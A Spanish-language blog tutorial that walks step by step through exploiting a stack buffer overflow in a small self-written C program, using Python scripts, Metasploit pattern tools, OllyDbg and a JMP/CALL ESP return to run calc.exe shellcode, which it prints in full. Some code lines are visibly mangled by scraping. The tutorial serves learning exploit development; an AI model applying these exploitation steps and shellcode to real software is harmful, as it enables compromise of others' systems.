viernes, 8 de agosto de 2014

Explotar un Buffer Overflow

Codigo del Programa a Analizar:
?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include
 
 
#include
 
using namespace std;
 
int main(int argc, char *argv[])
 
{
 
char Nombre[20];
 
FILE *archivo;
 
char letras[1000];
 
archivo = fopen("config.txt", "r");
 
fgets(letras, 1000, archivo);
 
strcpy(Nombre, letras);
 
 
printf("%s\n", Nombre);
 
system("PAUSE");
 
 
fclose;
 
return EXIT_SUCCESS;
 
}







Este breve comando en C procede a leer de un archivo de configuracion "config.txt" cierta cantidad de letras con el comando fgets, si googleamos un poco
vemos que esta instruccion no controla la cantidad de datos que soporta ni la cantidad de datos que resivira, por lo que por logica, si este comando esta
preparado para recivir 1000 letras y nostros le enviamos 1001 letras esto resultara en un Buffer Overflow y el tipico Cartel de Corrupcion de Memoria.

Entendido el Concepto estamos listos para Probar si esto es cierto.

Utilizando algun lenguaje de programacion (en mi caso python) empesaremos a preprar el exploit.
?
1
2
3
4
5
6
Variable = 'A'
for a in range (999):
   Variable = Variable + 'A'
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()

Con este Simple Código Probaremos el Concepto, esto creara un archivo config.txt que contendra 1000 letras A concatenadas.

Sustituimos el archivo de configuracion del programa por el nuestro y vemos como crashea:


Vemos como en un segundo el programa crashea y al no tener un control de Exepcion de Control, mejor conocido como Exeption Handling no salta la clasica ventanita de windows informando que el programa se cerro inesperadamente.

Analicemos con Ollydbg:
Vemos el cartel que nos muestra como el EIP ha sido Sobre Escrito con el codigo hexagecimal 41414141 en nuestro caso AAAA. Hemos Encontrado nuestro BOF, es momento de Explotarlo.

Lo primero que necesitamos es encontrar la direccion exacta donde se realiza la sobre escritura, para eso utilizariamos metasploit

Vamos a nuestra ruta de metasploit y entramos en la carpeta tools

ejecutamos sudo ./pattern_create.rb 1000

y vemos un string de 1000 caracteres irrepetibles, esto nos servira a encontrar el largo exacto de la cadena al momento de la sobree escritura


Sustituimos nuestra la variable de nuestro script en python por el string generado con metasploit

queda de esta manera:

?
1
2
3
4
5
6
7
Variable = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'
#for a in range (999):
    #Variable = Variable + 'A'
Variable = Variable
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()
Ejecutamos este script en python y sustituimos nuevamente el archivo de configuracion. (config.txt)

Ejecutamos nuevamente con ollydbg y vemos el string exacto en exagecimal con el que se sustituyo el EIP

Vamos a Modificar nuevamente nuestro script en python, queda asi:

1
2
3
4
5
6
Variable = 'A'
for a in range (147): #Cuenta desde 0 por lo que queda en 148
    Variable = Variable + 'A'
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()
Sustituimos nuevamente el archivo de configuracion por el nuevo generado por el exploit
Ejecutamos y vemos el siguiente resultado:
Se preguntaran porque se sobreescribe el EIP, si estamos escribiendo 148 caracteres y esto nos pociciona justo en el momento de la sobre escritura?
Esto sucede porq los 148 bytes es la distancia con la cadena sobre escrita osea 4 bytes mas del AAAA con que se sobreeescribe el EPI, por lo que 148-4 = 144 Esto nos posicionara al comieso del EIP sin Sobreescribirlo:

Modificamos el Script y lo dejamos asi:
?
1
2
3
4
5
6
Variable = 'A'
for a in range (143): #Cuenta desde 0 por lo que queda en 144
    Variable = Variable + 'A'
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()
Sustituimos el archivo y ejecutamos nuevamente el programa.

Como vemos el programa no crashea lo q significa q no hemos sobre escrito el EIP y con suerte estamos posicionados al pie de Nuestro EIP, Probemos esto.
Modificamos Nuestro Script y lo dejamos asi:
?
1
2
3
4
5
6
7
8
Variable = 'A'
EIP = 'BBBB'
for a in range (143): #Cuenta desde 0 por lo que queda en 144
    Variable = Variable + 'A'
Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP  
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()

Copiamos el archivo generado por nuestro exploit y ejecutamos nuevamente el programa

Con esto en la mayoria de los BOF estaremos en el pie del EIP o Relativamente muy cerca con variaciones de +- 4 bytes, Este no es el caso y vemos que el soft sigue crasheando por lo q aplicaremos algo que se conoce como acorralar offset

sabemos que la sobree escritura de nuestro EIP se Produce dentro de los 148 bytes, por lo q dividiremos esto en 2 cadenas de Bytes una con 'A' y la otra con 'B'.

74 bytes 'A' y 74 bytes 'B'

Nuestro Script Quedara Asi:

?
1
2
3
4
5
6
7
8
9
10
11
12
VariableA = 'A'
VariableB = 'B'
Variable = ''
for a in range (74):
    Variable = Variable + 'A'
 
for b in range (74):
    Variable = Variable + 'B'
#Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP  
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()
copiamos el archivo de configuración y ejecutamos:


Como vemos la sobreescritura es de 41414141 o lo q es lo mismo AAAA

dedusimos que la sobre escritura se produce en los primeros 74 bytes.

realizamos nuevamente el procedimiento de pattern_create y pattern_offset de metasploit
creando una cadena al asar e irrepetible de 74 bytes, al ejecutar el programa nueavamente vemos que se sobree escribe el EIP con: 35624134

Pasamos pattern_offset 0x35624134 74

y nos da como resultado 44 bytes, Posiblemente aqui sea donde se sobreescribe el EIP.

Modificamos el Script:

?
1
2
3
4
5
6
7
8
9
VariableA = 'A'
EIP = 'BBBB'
Variable = ''
for a in range (44):
    Variable = Variable + 'A'
Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP  
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()

Como podemos ver EIP se SobreEscribe con 42424242 por lo que hemos hayado la posicion exacta del EIP

procederemos a realizar nuestro exploit con nuestro shellCode:

La estructura de nuestro script sera:

44 Bytes: A
4 bytes: B (EPI)
100 bytes: C (ShellCode)

El Script queda de esta manera:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
VariableA = 'A'
EIP = 'BBBB'
Variable = ''
ShellCode = ''
for a in range (44): #Cuenta desde 0 por lo que queda en 144
    Variable = Variable + 'A'
Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una Cadena Identificable que sustituya el EIP  
for b in range (100):
    ShellCode = ShellCode + 'C'
 
Variable = Variable+ShellCode
 
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()
Copiamos el archivo de configuración generado a la ruta del software vulnerable y ejecutamos con Ollydbg.


Como podemos ver en los Registros, tenemos:

.EIP SobreEscrito con 42424242 (BBBB)
.ESP SobreEscrito con 100 bytes de 'C'

Esto nos indica que Debemos realizar un Salto con EIP al ESP donde nuestra shellCode Tiene un espacio de 100 bytes (espacio que pude variar dependiendo cuanto indagemos) para ser alojada.

Consigamos un Salto a ESP:

Abrimos Con Nuestro OllyDbg el software vulnerable, cliqueamos en la letra E en la barra Superior de Olly (Executable Modules)

Seleccionamos alguna DLL en la lista y vamos damos click derecho seach for --> Command
y buscamos algo q haga referencia a ESP:

JMP ESP
CALL ESP

o alguna variacion matematica q nos pocicione en ESP

POP POP RET
PUSH PUSH POP, etc.

Una ves que llegamos a esto en mi caso un CALL ESP anotamos la direccion y volvemos al script


Modificamos nuestro script de la siguiente forma:

import struct #Importamos libreria Struct
VariableA = 'A'
EIP = struct.pack('en la Variable que sustituira EIP
Variable = ''
ShellCode = '' #Creamos Variable que contendra la ShellCode
for a in range (44):
Variable = Variable + 'A'
Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una
Cadena Identificable que sustituya el EIP
for b in range (100):
ShellCode = ShellCode + 'C' #Llenamos de C los 100 bytes de la
ShellCode.
Variable = Variable+ShellCode
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()

copiamos nuestro exploit config.txt al directorio del software vulnerable y ejecutamos con ollydbg, si todo sale bien

no deberia salir ningun cartel de direccion invalida de EIP ya que este realizara un salto al Pie de ESP (Comienzo de Nuestra ShellCode)

Como podemos ver no salto ningun error y vemos en el stack que estamos justo una linea antes de nuestras 'C'
(43x100bytes)

Estamos Listo Para Generar Nuestra ShellCode

Para Esto vamos a Abrir Nuestro Metasploit a Modo Web:

sudo ./msfweb

127.0.0.1:55555

Visitamos La Direccion Web y entramos a nuestro modulo msfweb.

Vamos hacia Payload y selecionamos algun modulo de Command Execution yo elegi:

Windows Execute Command

coloque calc.exe como comando de ejecucion y en tipo de Encode escogi Default Encode (Esto Puede Variar como uno desee)


Cologamos Generate Payload

y aparece nuestra shellCode:

"\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x12"
"\x9c\x69\x7a\x83\xeb\xfc\xe2\xf4\xee\x74\x2d\x7a\x12\x9c\xe2\x3f"
"\x2e\x17\x15\x7f\x6a\x9d\x86\xf1\x5d\x84\xe2\x25\x32\x9d\x82\x33"
"\x99\xa8\xe2\x7b\xfc\xad\xa9\xe3\xbe\x18\xa9\x0e\x15\x5d\xa3\x77"
"\x13\x5e\x82\x8e\x29\xc8\x4d\x7e\x67\x79\xe2\x25\x36\x9d\x82\x1c"
"\x99\x90\x22\xf1\x4d\x80\x68\x91\x99\x80\xe2\x7b\xf9\x15\x35\x5e"
"\x16\x5f\x58\xba\x76\x17\x29\x4a\x97\x5c\x11\x76\x99\xdc\x65\xf1"
"\x62\x80\xc4\xf1\x7a\x94\x82\x73\x99\x1c\xd9\x7a\x12\x9c\xe2\x12"
"\x2e\xc3\x58\x8c\x72\xca\xe0\x82\x91\x5c\x12\x2a\x7a\x6c\xe3\x7e"
"\x4d\xf4\xf1\x84\x98\x92\x3e\x85\xf5\xff\x08\x16\x71\xb2\x0c\x02"
"\x77\x9c\x69\x7a";

Eliminamos las "" el ; y los espacios generando un solo string.

Lo Colocamos en nuestro Script (En este caso usare una pequeña shellCode que ejecuta una calc en 19 bytes):

"\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\x6C\x63"

import struct #Importamos libreria Struct
VariableA = 'A'
EIP = struct.pack('en la Variable que sustituira EIP
Variable = ''
ShellCode =
"\xeB\x02\xBA\xC7\x93\xBF\x77\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x61\
x6C\x63" #Creamos Variable que contendra la ShellCodefor a in range (44):
Variable = Variable + 'A'
Variable = Variable + EIP #Sustituimos los 4 bytes faltantes por una
Cadena Identificable que sustituya el EIP
Variable = Variable+ShellCode
Archivo = open("config.txt","r+")
Archivo.write('%s' %(Variable))
Archivo.close()
y BOOOOM Nuestra shellCode se ha ejecutado con Exito, Y hemos realizado Nuestro Primer Exploit BOF
Escrito por HD_Breaker









Fuente: http://hdbreaker96.blogspot.com/2013/04/explotar-un-buffer-overflow.html

No hay comentarios:

Publicar un comentario